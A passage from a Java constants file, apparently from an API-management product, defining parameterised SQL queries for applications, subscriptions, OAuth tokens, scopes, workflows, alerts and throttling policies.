" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID";
public static final String GET_APPLICATION_BY_UUID_SQL =
" SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_TIER," +
" APP.CALLBACK_URL," +
" APP.DESCRIPTION, " +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_STATUS, " +
" APP.GROUP_ID, " +
" APP.UPDATED_TIME, "+
" APP.CREATED_TIME, "+
" APP.UUID," +
" APP.TOKEN_TYPE," +
" APP.CREATED_BY," +
" SUB.USER_ID " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP " +
" WHERE " +
" APP.UUID = ? " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID";
public static final String GET_APPLICATION_BY_CLIENT_ID_SQL =
" SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_TIER," +
" APP.CALLBACK_URL," +
" APP.DESCRIPTION, " +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_STATUS, " +
" APP.GROUP_ID, " +
" APP.UPDATED_TIME, "+
" APP.CREATED_TIME, "+
" APP.UUID," +
" APP.CREATED_BY," +
" APP.TOKEN_TYPE," +
" AM_APP_MAP.KEY_TYPE" +
" FROM " +
" AM_APPLICATION_KEY_MAPPING AM_APP_MAP," +
" AM_APPLICATION APP " +
" WHERE " +
" AM_APP_MAP.CONSUMER_KEY = ? " +
" AND APP.APPLICATION_ID = AM_APP_MAP.APPLICATION_ID";
public static final String REMOVE_FROM_URI_TEMPLATES_SQL =
"DELETE FROM AM_API_URL_MAPPING WHERE API_ID = ?";
public static final String GET_ALL_URL_TEMPLATES_SQL =
" SELECT " +
" AUM.HTTP_METHOD," +
" AUM.AUTH_SCHEME," +
" AUM.URL_PATTERN," +
" AUM.THROTTLING_TIER," +
" AUM.MEDIATION_SCRIPT, " +
" AUM.URL_MAPPING_ID " +
" FROM " +
" AM_API_URL_MAPPING AUM, " +
" AM_API API " +
" WHERE" +
" API.CONTEXT= ? " +
" AND API.API_VERSION = ? " +
" AND AUM.API_ID = API.API_ID " +
" ORDER BY URL_MAPPING_ID";
public static final String UPDATE_API_SQL =
"UPDATE AM_API " +
"SET " +
" CONTEXT = ?, " +
" CONTEXT_TEMPLATE = ?, " +
" UPDATED_BY = ?," +
" UPDATED_TIME = ?, " +
" API_TIER = ?, " +
" API_TYPE = ? " +
" WHERE " +
" API_PROVIDER = ? " +
" AND API_NAME = ? " +
" AND" + " API_VERSION = ? ";
public static final String FIX_NULL_THROTTLING_TIERS =
"UPDATE AM_API_URL_MAPPING SET THROTTLING_TIER = 'Unlimited' WHERE " +
" THROTTLING_TIER IS NULL";
public static final String REMOVE_APPLICATION_MAPPINGS_BY_CONSUMER_KEY_SQL =
"DELETE FROM AM_APPLICATION_KEY_MAPPING WHERE CONSUMER_KEY = ?";
public static final String REMOVE_FROM_API_LIFECYCLE_SQL =
"DELETE FROM AM_API_LC_EVENT WHERE API_ID=? ";
public static final String REMOVE_FROM_API_COMMENT_SQL =
"DELETE FROM AM_API_COMMENTS WHERE API_ID=? ";
public static final String REMOVE_FROM_API_SUBSCRIPTION_SQL =
"DELETE FROM AM_SUBSCRIPTION WHERE API_ID=?";
public static final String REMOVE_FROM_EXTERNAL_STORES_SQL =
"DELETE FROM AM_EXTERNAL_STORES WHERE API_ID=?";
public static final String REMOVE_FROM_API_SQL =
"DELETE FROM AM_API WHERE API_PROVIDER=? AND API_NAME=? AND API_VERSION=? ";
public static final String REMOVE_FROM_API_URL_MAPPINGS_SQL =
"DELETE FROM AM_API_URL_MAPPING WHERE API_ID = ?";
public static final String REMOVE_ACCESS_TOKEN_PREFIX = "UPDATE ";
public static final String REVOKE_ACCESS_TOKEN_SUFFIX =
" SET TOKEN_STATE" + "='REVOKED' WHERE ACCESS_TOKEN= ? ";
public static final String GET_API_BY_ACCESS_TOKEN_PREFIX =
" SELECT AMA.API_ID, API_NAME, API_PROVIDER, API_VERSION " +
" FROM AM_API AMA, ";
public static final String GET_API_BY_ACCESS_TOKEN_SUFFIX =
" IAT, " +
" AM_APPLICATION_KEY_MAPPING AKM, " +
" AM_SUBSCRIPTION AMS, " +
" IDN_OAUTH_CONSUMER_APPS ICA " +
" WHERE IAT.ACCESS_TOKEN = ? " +
" AND ICA.CONSUMER_KEY = AKM.CONSUMER_KEY " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" AND AKM.APPLICATION_ID = AMS.APPLICATION_ID " +
" AND AMA.API_ID = AMS.API_ID";
public static final String GET_APPLICATION_BY_TIER_SQL =
" SELECT DISTINCT AMS.APPLICATION_ID,NAME,SUBSCRIBER_ID " +
" FROM " +
" AM_SUBSCRIPTION AMS," +
" AM_APPLICATION AMA " +
"WHERE " +
" AMS.TIER_ID=? " +
" AND AMS.APPLICATION_ID=AMA.APPLICATION_ID";
public static final String GET_URL_TEMPLATES_SQL =
" SELECT " +
" URL_PATTERN," +
" HTTP_METHOD," +
" AUTH_SCHEME," +
" THROTTLING_TIER, " +
" MEDIATION_SCRIPT " +
" FROM " +
" AM_API_URL_MAPPING " +
" WHERE " +
" API_ID = ? " +
" ORDER BY " +
" URL_MAPPING_ID ASC ";
public static final String GET_URL_TEMPLATES_OF_API_SQL =
" SELECT " +
" AUM.URL_MAPPING_ID," +
" AUM.URL_PATTERN," +
" AUM.HTTP_METHOD," +
" AUM.AUTH_SCHEME," +
" AUM.THROTTLING_TIER," +
" AUM.MEDIATION_SCRIPT," +
" ARSM.SCOPE_NAME " +
" FROM " +
" AM_API_URL_MAPPING AUM " +
" INNER JOIN AM_API API ON AUM.API_ID = API.API_ID " +
" LEFT OUTER JOIN AM_API_RESOURCE_SCOPE_MAPPING ARSM ON AUM.URL_MAPPING_ID = ARSM.URL_MAPPING_ID" +
" WHERE " +
" API.API_PROVIDER = ? AND " +
" API.API_NAME = ? AND " +
" API.API_VERSION = ? ";
public static final String GET_API_PRODUCT_URI_TEMPLATE_ASSOCIATION_SQL =
" SELECT " +
" API.API_PROVIDER," +
" API.API_NAME," +
" API.API_VERSION," +
" APM.URL_MAPPING_ID " +
" FROM " +
" AM_API API " +
" INNER JOIN AM_API_PRODUCT_MAPPING APM ON API.API_ID = APM.API_ID " +
" WHERE APM.URL_MAPPING_ID IN " +
" (SELECT AUM.URL_MAPPING_ID " +
" FROM AM_API_URL_MAPPING AUM " +
" INNER JOIN AM_API API ON AUM.API_ID = API.API_ID " +
" WHERE API.API_PROVIDER = ? AND " +
" API.API_NAME = ? AND API.API_VERSION = ?)";
public static final String GET_AUTHORIZED_DOMAINS_PREFIX =
"SELECT AKDM.AUTHZ_DOMAIN FROM AM_APP_KEY_DOMAIN_MAPPING AKDM, ";
public static final String GET_AUTHORIZED_DOMAINS_SUFFIX =
" IOAT, " +
" IDN_OAUTH_CONSUMER_APPS IOCA " +
" WHERE " +
" IOAT.ACCESS_TOKEN = ? " +
" AND IOAT.CONSUMER_KEY_ID = IOCA.ID " +
" AND IOCA.CONSUMER_KEY = AKDM.CONSUMER_KEY";
public static final String GET_AUTHORIZED_DOMAINS_BY_ACCESS_KEY_SQL =
"SELECT AUTHZ_DOMAIN FROM AM_APP_KEY_DOMAIN_MAPPING WHERE CONSUMER_KEY = ? ";
public static final String GET_CONSUMER_KEY_BY_ACCESS_TOKEN_PREFIX =
"SELECT ICA.CONSUMER_KEY FROM ";
public static final String GET_CONSUMER_KEY_BY_ACCESS_TOKEN_SUFFIX =
" IAT," +
" IDN_OAUTH_CONSUMER_APPS ICA" +
" WHERE " +
" IAT.ACCESS_TOKEN = ? " +
" AND ICA.ID = IAT.CONSUMER_KEY_ID";
public static final String ADD_COMMENT_SQL =
" INSERT INTO AM_API_COMMENTS (COMMENT_ID,COMMENT_TEXT,COMMENTED_USER,DATE_COMMENTED,API_ID)" +
" VALUES (?,?,?,?,?)";
public static final String GET_COMMENT_SQL =
" SELECT AM_API_COMMENTS.COMMENT_ID AS COMMENT_ID," +
" AM_API_COMMENTS.COMMENT_TEXT AS COMMENT_TEXT," +
" AM_API_COMMENTS.COMMENTED_USER AS COMMENTED_USER," +
" AM_API_COMMENTS.DATE_COMMENTED AS DATE_COMMENTED " +
" FROM AM_API_COMMENTS, AM_API API " +
" WHERE API.API_PROVIDER = ? " +
" AND API.API_NAME = ? " +
" AND API.API_VERSION = ? " +
" AND API.API_ID = AM_API_COMMENTS.API_ID " +
" AND AM_API_COMMENTS.COMMENT_ID = ?";
public static final String GET_COMMENTS_SQL =
" SELECT AM_API_COMMENTS.COMMENT_ID AS COMMENT_ID," +
" AM_API_COMMENTS.COMMENT_TEXT AS COMMENT_TEXT," +
" AM_API_COMMENTS.COMMENTED_USER AS COMMENTED_USER," +
" AM_API_COMMENTS.DATE_COMMENTED AS DATE_COMMENTED " +
" FROM " +
" AM_API_COMMENTS, " +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER = ? " +
" AND API.API_NAME = ? " +
" AND API.API_VERSION = ? " +
" AND API.API_ID = AM_API_COMMENTS.API_ID";
public static final String DELETE_COMMENT_SQL = "DELETE FROM AM_API_COMMENTS WHERE AM_API_COMMENTS.COMMENT_ID = ?";
public static final String GET_API_CONTEXT_SQL =
"SELECT CONTEXT FROM AM_API " + " WHERE CONTEXT= ?";
public static final String GET_API_CONTEXT_BY_API_NAME_SQL =
"SELECT CONTEXT FROM AM_API WHERE API_PROVIDER = ? AND API_NAME = ? AND API_VERSION = ?";
public static final String GET_ALL_CONTEXT_SQL = "SELECT CONTEXT FROM AM_API ";
public static final String GET_APPLICATION_REGISTRATION_ENTRY_BY_SUBSCRIBER_SQL =
"SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_TIER," +
" REG.TOKEN_TYPE," +
" REG.TOKEN_SCOPE," +
" APP.CALLBACK_URL," +
" APP.DESCRIPTION," +
" APP.APPLICATION_STATUS," +
" SUB.USER_ID," +
" REG.ALLOWED_DOMAINS," +
" REG.VALIDITY_PERIOD," +
" REG.INPUTS, REG.KEY_MANAGER" +
" FROM " +
" AM_APPLICATION_REGISTRATION REG," +
" AM_APPLICATION APP," +
" AM_SUBSCRIBER SUB" +
" WHERE " +
" REG.SUBSCRIBER_ID=SUB.SUBSCRIBER_ID " +
" AND REG.APP_ID = APP.APPLICATION_ID " +
" AND REG.WF_REF=?";
public static final String GET_APPLICATION_REGISTRATION_ENTRY_SQL =
"SELECT " +
" REG.TOKEN_TYPE," +
" REG.ALLOWED_DOMAINS," +
" REG.VALIDITY_PERIOD" +
" FROM " +
" AM_APPLICATION_REGISTRATION REG, " +
" AM_APPLICATION APP " +
" WHERE " +
" REG.APP_ID = APP.APPLICATION_ID " +
" AND APP.APPLICATION_ID=?";
public static final String GET_APPLICATION_REGISTRATION_ID_SQL =
"SELECT APP_ID FROM AM_APPLICATION_REGISTRATION WHERE WF_REF=?";
public static final String GET_WORKFLOW_ENTRY_SQL =
"SELECT " +
" REG.WF_REF" +
" FROM " +
" AM_APPLICATION APP, " +
" AM_APPLICATION_REGISTRATION REG, " +
" AM_SUBSCRIBER SUB" +
" WHERE " +
" APP.NAME=? " +
" AND SUB.USER_ID=? " +
" AND SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND REG.APP_ID=APP.APPLICATION_ID";
public static final String GET_WORKFLOW_ENTRY_BY_APP_ID_SQL =
"SELECT " +
" REG.WF_REF" +
" FROM " +
" AM_APPLICATION APP, " +
" AM_APPLICATION_REGISTRATION REG, " +
" AM_SUBSCRIBER SUB" +
" WHERE " +
" APP.APPLICATION_ID=? " +
" AND SUB.USER_ID=? " +
" AND SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND REG.APP_ID=APP.APPLICATION_ID";
public static final String GET_EXTERNAL_WORKFLOW_REFERENCE_SQL =
"SELECT WF_EXTERNAL_REFERENCE FROM AM_WORKFLOWS WHERE WF_TYPE=? AND WF_REFERENCE=?";
public static final String REMOVE_WORKFLOW_ENTRY_SQL =
"DELETE FROM AM_WORKFLOWS WHERE WF_TYPE=? AND WF_EXTERNAL_REFERENCE=?";
public static final String GET_EXTERNAL_WORKFLOW_REFERENCE_FOR_SUBSCRIPTION_SQL =
"SELECT " +
" AW.WF_EXTERNAL_REFERENCE " +
" FROM" +
" AM_WORKFLOWS AW, " +
" AM_SUBSCRIPTION ASUB " +
" WHERE" +
" ASUB.API_ID=? " +
" AND ASUB.APPLICATION_ID=? " +
" AND AW.WF_REFERENCE=ASUB.SUBSCRIPTION_ID " +
" AND AW.WF_TYPE=?";
public static final String GET_EXTERNAL_WORKFLOW_REFERENCE_FOR_SUBSCRIPTION_POSTGRE_SQL =
"SELECT" +
" AW.WF_EXTERNAL_REFERENCE" +
" FROM" +
" AM_WORKFLOWS AW, " +
" AM_SUBSCRIPTION ASUB " +
" WHERE" +
" ASUB.API_ID=? " +
" AND ASUB.APPLICATION_ID=?" +
" AND AW.WF_REFERENCE::integer=ASUB.SUBSCRIPTION_ID " +
" AND AW.WF_TYPE=?";
public static final String GET_EXTERNAL_WORKFLOW_FOR_SUBSCRIPTION_SQL =
" SELECT " +
" WF_EXTERNAL_REFERENCE" +
" FROM " +
" AM_WORKFLOWS" +
" WHERE " +
" WF_REFERENCE=?" +
" AND WF_TYPE=?";
public static final String GET_EXTERNAL_WORKFLOW_FOR_SIGNUP_SQL =
"SELECT " +
" WF_EXTERNAL_REFERENCE" +
" FROM " +
" AM_WORKFLOWS WHERE " +
" WF_REFERENCE=? " +
" AND WF_TYPE=?";
public static final String GET_PAGINATED_SUBSCRIPTIONS_BY_APPLICATION_SQL =
"SELECT" +
" SUBSCRIPTION_ID " +
" FROM " +
" AM_SUBSCRIPTION " +
" WHERE " +
" APPLICATION_ID=? " +
" AND SUB_STATUS=?";
public static final String GET_SUBSCRIPTIONS_BY_API_SQL =
"SELECT" +
" SUBSCRIPTION_ID" +
" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_API API " +
" WHERE " +
" API.API_NAME = ? " +
" AND API.API_VERSION = ? " +
" AND API.API_PROVIDER = ? " +
" AND API.API_ID = SUBS.API_ID " +
" AND SUB_STATUS = ?";
public static final String GET_REGISTRATION_WORKFLOW_SQL =
"SELECT WF_REF FROM AM_APPLICATION_REGISTRATION WHERE APP_ID = ? AND TOKEN_TYPE = ? AND KEY_MANAGER = ?";
public static final String GET_SUBSCRIPTION_STATUS_SQL =
"SELECT SUB_STATUS FROM AM_SUBSCRIPTION WHERE API_ID = ? AND APPLICATION_ID = ?";
public static final String GET_SUBSCRIPTION_CREATION_STATUS_SQL =
"SELECT SUBS_CREATE_STATE FROM AM_SUBSCRIPTION WHERE API_ID = ? AND APPLICATION_ID = ?";
public static final String ADD_EXTERNAL_API_STORE_SQL =
" INSERT INTO AM_EXTERNAL_STORES (API_ID,STORE_ID,STORE_DISPLAY_NAME,STORE_ENDPOINT,STORE_TYPE," +
"LAST_UPDATED_TIME) VALUES (?,?,?,?,?,?)";
public static final String REMOVE_EXTERNAL_API_STORE_SQL =
"DELETE FROM AM_EXTERNAL_STORES WHERE API_ID=? AND STORE_ID=? AND STORE_TYPE=?";
public static final String UPDATE_EXTERNAL_API_STORE_SQL =
"UPDATE " +
" AM_EXTERNAL_STORES" +
" SET " +
" STORE_ENDPOINT = ?, " +
" STORE_TYPE = ?, " +
" LAST_UPDATED_TIME = ? " +
" WHERE " +
" API_ID = ? AND STORE_ID = ? ";
public static final String GET_EXTERNAL_API_STORE_DETAILS_SQL =
"SELECT " +
" ES.STORE_ID, " +
" ES.STORE_DISPLAY_NAME, " +
" ES.STORE_ENDPOINT, " +
" ES.STORE_TYPE, " +
" ES.LAST_UPDATED_TIME " +
"FROM " +
" AM_EXTERNAL_STORES ES " +
" WHERE " +
" ES.API_ID = ? ";
public static final String ADD_PRODUCT_RESOURCE_MAPPING_SQL = "INSERT INTO AM_API_PRODUCT_MAPPING "
+ "(API_ID,URL_MAPPING_ID) " + "VALUES (?, ?)";
public static final String DELETE_FROM_AM_API_PRODUCT_MAPPING_SQL = "DELETE FROM AM_API_PRODUCT_MAPPING WHERE "
+ "API_ID = ? ";
public static final String GET_SCOPE_BY_SUBSCRIBED_API_PREFIX =
"SELECT DISTINCT ARSM.SCOPE_NAME " +
"FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM INNER JOIN AM_API_URL_MAPPING AUM " +
"ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID " +
"WHERE AUM.API_ID IN (";
public static final char GET_SCOPE_BY_SUBSCRIBED_ID_SUFFIX = ')';
public static final String GET_SCOPE_BY_SUBSCRIBED_ID_ORACLE_SQL =
"SELECT DISTINCT ARSM.SCOPE_NAME " +
"FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM INNER JOIN AM_API_URL_MAPPING AUM " +
"ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID " +
"WHERE AUM.API_ID IN (";
public static final String GET_SCOPES_BY_SCOPE_KEY_SQL =
"SELECT " +
" IAS.SCOPE_ID, " +
" IAS.NAME, " +
" IAS.DISPLAY_NAME, " +
" IAS.DESCRIPTION, " +
" IAS.TENANT_ID, " +
" B.SCOPE_BINDING " +
" FROM " +
" IDN_OAUTH2_SCOPE IAS " +
" INNER JOIN IDN_OAUTH2_SCOPE_BINDING B ON IAS.SCOPE_ID = B.SCOPE_ID " +
" WHERE" +
" NAME = ? AND TENANT_ID = ?";
public static final String GET_SCOPES_BY_SCOPE_KEYS_PREFIX =
"SELECT " +
" IAS.SCOPE_ID, " +
" IAS.NAME, " +
" IAS.DISPLAY_NAME, " +
" IAS.DESCRIPTION, " +
" IAS.TENANT_ID, " +
" B.SCOPE_BINDING " +
" FROM " +
" IDN_OAUTH2_SCOPE IAS " +
" INNER JOIN IDN_OAUTH2_SCOPE_BINDING B ON IAS.SCOPE_ID = B.SCOPE_ID " +
" WHERE" +
" NAME IN (";
public static final String GET_SCOPES_BY_SCOPE_KEYS_PREFIX_ORACLE =
"SELECT " +
" IAS.SCOPE_ID, " +
" IAS.NAME, " +
" IAS.DISPLAY_NAME, " +
" IAS.DESCRIPTION, " +
" IAS.TENANT_ID, " +
" B.SCOPE_BINDING " +
" FROM " +
" IDN_OAUTH2_SCOPE IAS " +
" INNER JOIN IDN_OAUTH2_SCOPE_BINDING B ON IAS.SCOPE_ID = B.SCOPE_ID " +
" WHERE" +
" NAME IN (";
public static final String GET_SCOPES_BY_SCOPE_KEYS_SUFFIX = ") AND TENANT_ID = ?";
public static final String GET_RESOURCE_TO_SCOPE_MAPPING_SQL =
"SELECT AUM.URL_MAPPING_ID, ARSM.SCOPE_NAME FROM AM_API_URL_MAPPING AUM " +
"LEFT JOIN AM_API_RESOURCE_SCOPE_MAPPING ARSM ON AUM.URL_MAPPING_ID = ARSM.URL_MAPPING_ID " +
"WHERE AUM.API_ID = ?";
public static final String GET_SUBSCRIBED_APIS_FROM_CONSUMER_KEY =
"SELECT SUB.API_ID "
+ "FROM AM_SUBSCRIPTION SUB, AM_APPLICATION_KEY_MAPPING AKM "
+ "WHERE AKM.CONSUMER_KEY = ? AND AKM.APPLICATION_ID = SUB.APPLICATION_ID";
public static final String GET_SCOPE_ROLES_OF_APPLICATION_SQL =
"SELECT DISTINCT A.NAME, D.SCOPE_BINDING "
+ "FROM ("
+ " (IDN_OAUTH2_SCOPE A "
+ " INNER JOIN "
+ " AM_API_RESOURCE_SCOPE_MAPPING B1 ON A.TENANT_ID = B1.TENANT_ID "
+ " INNER JOIN "
+ " AM_API_RESOURCE_SCOPE_MAPPING B2 ON A.NAME = B2.SCOPE_NAME "
+ " INNER JOIN "
+ " AM_API_URL_MAPPING C ON B1.URL_MAPPING_ID = C.URL_MAPPING_ID"
+ " ) LEFT JOIN "
+ " IDN_OAUTH2_SCOPE_BINDING D ON A.SCOPE_ID = D.SCOPE_ID"
+ ") WHERE C.API_ID IN (";
public static final String CLOSING_BRACE = ")";
public static final String GET_SCOPES_FOR_API_LIST = "SELECT "
+ "ARSM.SCOPE_NAME, AUM.API_ID "
+ "FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM "
+ "INNER JOIN AM_API_URL_MAPPING AUM "
+ "ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID "
+ "WHERE AUM.API_ID IN ( $paramList )";
public static final String GET_SCOPES_FOR_API_LIST_ORACLE = "SELECT "
+ "ARSM.SCOPE_NAME, AUM.API_ID "
+ "FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM "
+ "INNER JOIN AM_API_URL_MAPPING AUM "
+ "ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID "
+ "WHERE AUM.API_ID IN ( $paramList )";
public static final String GET_USERS_FROM_OAUTH_TOKEN_SQL =
"SELECT " +
" DISTINCT AMS.USER_ID, " +
" AKM.CONSUMER_KEY " +
" FROM " +
" AM_APPLICATION_KEY_MAPPING AKM, " +
" AM_APPLICATION, " +
" AM_SUBSCRIBER AMS " +
" WHERE " +
" AKM.CONSUMER_KEY = ? " +
" AND AKM.APPLICATION_ID = AA.APPLICATION_ID " +
" AND AA.SUBSCRIBER_ID = AMS.SUBSCRIBER_ID";
public static final String REMOVE_SUBSCRIPTION_BY_APPLICATION_ID_SQL =
"DELETE FROM AM_SUBSCRIPTION WHERE API_ID = ? AND APPLICATION_ID = ? ";
public static final String GET_API_NAME_NOT_MATCHING_CONTEXT_SQL =
"SELECT COUNT(API_ID) AS API_COUNT FROM AM_API WHERE LOWER(API_NAME) = LOWER(?) AND CONTEXT NOT LIKE ?";
public static final String GET_API_NAME_MATCHING_CONTEXT_SQL =
"SELECT COUNT(API_ID) AS API_COUNT FROM AM_API WHERE LOWER(API_NAME) = LOWER(?) AND CONTEXT LIKE ?";
public static final String GET_API_NAME_DIFF_CASE_NOT_MATCHING_CONTEXT_SQL =
"SELECT COUNT(API_ID) AS API_COUNT FROM AM_API WHERE LOWER(API_NAME) = LOWER(?) AND CONTEXT NOT LIKE ? AND NOT (API_NAME = ?)";
public static final String GET_API_NAME_DIFF_CASE_MATCHING_CONTEXT_SQL =
"SELECT COUNT(API_ID) AS API_COUNT FROM AM_API WHERE LOWER(API_NAME) = LOWER(?) AND CONTEXT LIKE ? AND NOT (API_NAME = ?)";
public static final String GET_ACTIVE_TOKEN_OF_CONSUMER_KEY_SQL =
" SELECT " +
" IOAT.ACCESS_TOKEN" +
" FROM " +
" IDN_OAUTH2_ACCESS_TOKEN IOAT" +
" INNER JOIN " +
" IDN_OAUTH_CONSUMER_APPS IOCA " +
" ON " +
" IOCA.ID = IOAT.CONSUMER_KEY_ID" +
" WHERE" +
" IOCA.CONSUMER_KEY = ?" +
" AND IOAT.TOKEN_STATE = 'ACTIVE'";
public static final String GET_CONTEXT_TEMPLATE_COUNT_SQL =
"SELECT COUNT(CONTEXT_TEMPLATE) AS CTX_COUNT FROM AM_API WHERE LOWER(CONTEXT_TEMPLATE) = ?";
public static final String GET_API_NAMES_MATCHES_CONTEXT=
"SELECT DISTINCT API_NAME FROM AM_API WHERE CONTEXT_TEMPLATE = ?";
public static final String GET_VERSIONS_MATCHES_CONTEXT=
"SELECT API_VERSION FROM AM_API WHERE CONTEXT_TEMPLATE = ? AND API_NAME = ?";
public static final String GET_APPLICATION_MAPPING_FOR_CONSUMER_KEY_SQL =
"SELECT APPLICATION_ID FROM AM_APPLICATION_KEY_MAPPING WHERE CONSUMER_KEY = ? AND KEY_MANAGER = ?";
public static final String GET_CONSUMER_KEY_BY_APPLICATION_AND_KEY_SQL =
" SELECT " +
" CONSUMER_KEY,KEY_MANAGER " +
" FROM " +
" AM_APPLICATION_KEY_MAPPING " +
" WHERE " +
" APPLICATION_ID = ? " +
" AND KEY_TYPE = ? ";
public static final String GET_LAST_PUBLISHED_API_VERSION_SQL =
"SELECT " +
" API.API_VERSION " +
" FROM " +
" AM_API API , " +
" AM_EXTERNAL_STORES ES " +
" WHERE " +
" ES.API_ID = API.API_ID " +
" AND API.API_PROVIDER = ? " +
" AND API.API_NAME=? " +
" AND ES.STORE_ID =? " +
" ORDER By API.CREATED_TIME ASC";
public static final String GET_ACTIVE_TOKENS_OF_USER_PREFIX =
"SELECT IOAT.ACCESS_TOKEN FROM ";
public static final String GET_ACTIVE_TOKENS_OF_USER_SUFFIX =
" IOAT" +
" WHERE" +
" IOAT.AUTHZ_USER = ?" +
" AND IOAT.TENANT_ID = ?" +
" AND IOAT.TOKEN_STATE = 'ACTIVE'" +
" AND LOWER(IOAT.USER_DOMAIN) = ?";
public static final String GET_ALL_ALERT_TYPES =
"SELECT " +
" AT.ALERT_TYPE_ID, " +
" AT.ALERT_TYPE_NAME " +
" FROM " +
" AM_ALERT_TYPES AT " +
" WHERE " +
" STAKE_HOLDER = ?";
public static final String GET_ALL_ALERT_TYPES_FOR_ADMIN =
"SELECT DISTINCT" +
" AT.ALERT_TYPE_ID, " +
" AT.ALERT_TYPE_NAME " +
" FROM " +
" AM_ALERT_TYPES AT ";
public static final String GET_SAVED_ALERT_TYPES_BY_USERNAME =
" SELECT " +
" ALERT_TYPE_ID " +
" FROM " +
" AM_ALERT_TYPES_VALUES " +
" WHERE " +
" USER_NAME = ? " +
" AND STAKE_HOLDER = ? ";
public static final String GET_SAVED_ALERT_EMAILS =
" SELECT " +
" EMAIL " +
" FROM " +
" AM_ALERT_EMAILLIST , " +
" AM_ALERT_EMAILLIST_DETAILS " +
" WHERE " +
" AM_ALERT_EMAILLIST.EMAIL_LIST_ID = AM_ALERT_EMAILLIST_DETAILS.EMAIL_LIST_ID" +
" AND USER_NAME = ? " +
" AND STAKE_HOLDER = ? ";
public static final String ADD_ALERT_TYPES_VALUES =
" INSERT INTO AM_ALERT_TYPES_VALUES (ALERT_TYPE_ID, USER_NAME , STAKE_HOLDER) " +
" VALUES(?,?,?)";
public static final String ADD_ALERT_EMAIL_LIST =
" INSERT INTO AM_ALERT_EMAILLIST (USER_NAME, STAKE_HOLDER) " +
" VALUES(?,?)";
public static final String DELETE_ALERTTYPES_BY_USERNAME_AND_STAKE_HOLDER =
"DELETE FROM AM_ALERT_TYPES_VALUES WHERE USER_NAME = ? AND STAKE_HOLDER = ?";
public static final String DELETE_EMAILLIST_BY_EMAIL_LIST_ID =
"DELETE FROM AM_ALERT_EMAILLIST_DETAILS WHERE EMAIL_LIST_ID= ? ";
public static final String GET_EMAILLISTID_BY_USERNAME_AND_STAKEHOLDER =
" SELECT " +
" EMAIL_LIST_ID " +
" FROM " +
" AM_ALERT_EMAILLIST " +
" WHERE " +
" USER_NAME = ? " +
" AND STAKE_HOLDER = ? ";
public static final String SAVE_EMAIL_LIST_DETAILS_QUERY =
" INSERT INTO AM_ALERT_EMAILLIST_DETAILS (EMAIL_LIST_ID, EMAIL) " +
" VALUES(?,?)";
public static final String DELETE_ALERTTYPES_EMAILLISTS_BY_USERNAME_AND_STAKE_HOLDER =
"DELETE FROM AM_ALERT_EMAILLIST WHERE USER_NAME = ? AND STAKE_HOLDER = ?";
public static final String INSERT_APPLICATION_POLICY_SQL =
"INSERT INTO AM_POLICY_APPLICATION (NAME, DISPLAY_NAME, TENANT_ID, DESCRIPTION, QUOTA_TYPE, QUOTA, \n" +
" QUOTA_UNIT, UNIT_TIME, TIME_UNIT, IS_DEPLOYED, UUID) \n" +
"VALUES (?,?,?,?,?,?,?,?,?,?,?)";
public static final String INSERT_APPLICATION_POLICY_WITH_CUSTOM_ATTRIB_SQL =
"INSERT INTO AM_POLICY_APPLICATION (NAME, DISPLAY_NAME, TENANT_ID, DESCRIPTION, QUOTA_TYPE, QUOTA, \n" +
" QUOTA_UNIT, UNIT_TIME, TIME_UNIT, IS_DEPLOYED, UUID,CUSTOM_ATTRIBUTES) \n" +
"VALUES (?,?,?,?,?,?,?,?,?,?,?,?)";
public static final String INSERT_SUBSCRIPTION_POLICY_SQL =
"INSERT INTO AM_POLICY_SUBSCRIPTION (NAME, DISPLAY_NAME, TENANT_ID, DESCRIPTION, QUOTA_TYPE, QUOTA, \n" +
" QUOTA_UNIT, UNIT_TIME, TIME_UNIT, IS_DEPLOYED, UUID, RATE_LIMIT_COUNT, \n" +
" RATE_LIMIT_TIME_UNIT,STOP_ON_QUOTA_REACH, MAX_DEPTH, MAX_COMPLEXITY, \n" +
" BILLING_PLAN,MONETIZATION_PLAN,FIXED_RATE,BILLING_CYCLE,PRICE_PER_REQUEST,CURRENCY) \n" +
" VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
public static final String INSERT_SUBSCRIPTION_POLICY_WITH_CUSTOM_ATTRIB_SQL =
"INSERT INTO AM_POLICY_SUBSCRIPTION (NAME, DISPLAY_NAME, TENANT_ID, DESCRIPTION, QUOTA_TYPE, QUOTA, \n" +
" QUOTA_UNIT, UNIT_TIME, TIME_UNIT, IS_DEPLOYED, UUID, RATE_LIMIT_COUNT, \n" +
" RATE_LIMIT_TIME_UNIT, STOP_ON_QUOTA_REACH, MAX_DEPTH, MAX_COMPLEXITY, \n" +
" BILLING_PLAN, CUSTOM_ATTRIBUTES, MONETIZATION_PLAN, \n" +
" FIXED_RATE, BILLING_CYCLE, PRICE_PER_REQUEST, CURRENCY) \n" +
" VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
public static final String INSERT_GLOBAL_POLICY_SQL =
"INSERT INTO AM_POLICY_GLOBAL (NAME ,TENANT_ID, KEY_TEMPLATE, DESCRIPTION ,SIDDHI_QUERY, "
+ "IS_DEPLOYED, UUID) \n" +
